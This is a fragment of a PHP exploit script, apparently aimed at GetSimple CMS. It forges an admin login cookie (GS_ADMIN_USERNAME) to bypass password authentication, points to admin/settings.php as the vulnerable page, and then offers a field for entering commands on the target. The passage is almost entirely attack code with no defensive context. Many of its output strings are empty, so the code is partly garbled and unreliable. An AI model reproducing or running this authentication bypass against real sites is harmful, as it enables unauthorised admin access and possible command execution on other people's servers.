'; echo 'and login without password, right?

Generated cookie: '; echo $cookie_name . '
'; echo '
Anyway: this simple code exploits vulnerability in :
'; echo 'admin/settings.php:'; if( $authenticated ) { # YES - set the login cookie, then redirect user to secure panel // create_cookie(); setcookie('GS_ADMIN_USERNAME', $USR, time() + 3600,'/'); echo '
'; echo ''; echo ''; // sample; as a hardcoded (wrong anyway) pass echo ''; echo '
So add come cmd:
'; echo 'cmd: '; echo ''; } else { echo 'Nope. :C'; } } // end of getsimple_cookie() getsimple_cookie();